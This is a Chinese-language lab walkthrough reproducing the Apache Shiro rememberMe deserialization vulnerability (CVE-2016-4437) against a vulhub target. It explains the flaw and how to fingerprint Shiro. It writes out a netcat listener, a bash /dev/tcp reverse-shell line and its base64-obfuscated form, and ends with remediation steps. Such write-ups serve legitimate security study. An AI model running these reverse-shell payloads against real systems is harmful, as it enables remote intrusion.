漏洞复现之Shiro反序列化漏洞
漏洞复现之Shiro反序列化漏洞
漏洞介绍
漏洞简介
Apache Shiro是一个比较常用的java安全框架,可以帮助我们完成认证、授权、加密等。该框架提供了一个记住我(RememberMe)的功能,这个功能在用户登录成功后,会对cookie进行一个处理,处理方式为:序列化—>AES加密—>Base64编码,然后把处理完成的cookie放在Cookie的rememberMe字段里。那么服务端接收到请求后,会根据Cookie中rememberMe字段里的值,对其进行解析,解析步骤为:Base64解码—>AES解密—>反序列化。而由于1.2.4以下的shiro框架中在AES加密这步,用到的是一个固定不变的密钥Key来进行加密,那么就意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者可以构造一个恶意的对象,并且对其序列化,通过拿到的密钥进行AES加密,base64编码后,作为cookie的rememberMe字段发送。服务器端将rememberMe进行解密并且反序列化,导致恶意解析,最终造成反序列化漏洞。
形成原因
Shiro框架中,AES加密的KEY值被硬编码在代码中,导致源码中找到KEY值。
漏洞类型
反序列化漏洞
漏洞编号
CVE-2016-4437
漏洞危害
反序列化漏洞造成远程代码执行、权限提升、任意文件读取等危害。
影响版本
shiro<=1.2.4
Shiro框架判断方法
在请求包的Cookie中为rememberMe
赋任意值,如果收到的返回包的Set-Cookie
中存在rememberMe=deleteMe
字段,说明目标有使用Shiro
框架,可以进一步测试。
环境搭建
攻击机:Kali 192.168.1.130
靶机:Ubuntu 192.168.1.136
复现过程
1、首先利用docker
开启vulhub
靶场,进入靶场页面,发现是一个登录界面。
cd /Desktop/vulhub/shiro/CVE-2016-4437
docker-compose up -d
2、利用上述方法检测Shiro框架,在请求包的Cookie
中为rememberMe
赋任意值,发现返回包的Set-Cookie
中存在rememberMe=deleteMe
字段,说明目标Shiro框架。
3、我们在攻击机上运行shiro反序列化漏洞的专用脚本shiro_exploit.py
,检测靶场是否存在Shiro漏洞,脚本运行结果为True,证明存在shiro漏洞,密钥也成功爆破出来。(注意:由于这个脚本里有个访问www.dnslog.cn
的过程,而这个网站又不是很稳定,有时访问不进去,所以这个命令可以多跑几次,直到成功为止。)
4、攻击机起监听,监听2222端口。
nc -lvp 2222
5、下面我们就要开始进行漏洞的利用,既然已经拿到了AES的密钥,那漏洞利用的思路就是构造一个恶意对象(比如做个反弹shell),然后对其序列化,再利用AES密钥对其进行AES加密,最后进行Base64编码,将结果作为remeberme的字段值发送给服务器,服务器完成反处理后就成功地解析了恶意对象。
bash -i >& /dev/tcp/192.168.1.130/2222 0>&1
然后进行base64加密,生成脚本命令 :(这个base64加密不是对恶意对象处理过程中的最后一步base64加密)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTMwLzIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i}
这步为什么进行base64编码,因为某些系统中只能用ascii字符,base64就是用来将非ascii字符的数据转换成ascii字符的方法,所以java反序列化中,构造payload时一般都有这步。
6、执行成功后,攻击机的监听端口成功接收反弹。
漏洞修复
1、升级Shiro的版本。
2、修改rememberMe默认密钥。
3、对于不需要rememberMe功能的项目,对该功能进行禁用。